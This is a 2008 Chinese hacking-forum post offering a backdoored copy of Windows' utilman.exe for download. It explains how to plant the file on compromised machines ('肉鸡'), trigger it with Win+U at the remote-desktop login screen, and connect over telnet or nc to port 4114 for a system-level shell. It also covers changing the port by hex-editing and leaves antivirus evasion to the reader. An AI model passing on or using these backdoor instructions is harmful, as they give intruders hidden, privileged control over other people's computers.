|
学前班
- 帖子
- 4
- 精华
- 0
- 威望
- 0 度
- 金币
- 19 枚
- 最后登录
- 2008-6-23
|
1#
大 中
小 发表于 2008-5-13 10:45 只看该作者
win+U后门正向连接型,比shift后门隐藏多了(by kipass)
WIN+U后门.比shift好用多了..是在原系统自带的文件改造的,只用汇编添加了相应的shell端口.开启程序的情况下会建立一个线程开放4114端口.自己可以用telnet或者nc正向连接,放肉鸡上非常隐蔽,只在xp上测试,其它系统未测试..有无后门没有自己用ida看,不要乱说,发布出来不几天可能就补杀.免杀自己做吧
用法:替换掉肉鸡系统目录中的utilman.exe,然后就可以在3389登陆的地方按win+u键出来程序后,然后就可以用telnet ip 4114就会得到一个系统级的shell,默认端口自己可以修改,用十六进制编辑工具自己修改就OK了..替换4114相应的机器码
下载地址:http://www.namipan.com/d/b019170 ... 9d9448b2a5cbd5e0000
附件
-
2008-05-13_095425.jpg
(73.28 KB)
-
2008-5-13 10:45
-
2008-05-13_095436.jpg
(61.36 KB)
-
2008-5-13 10:45
|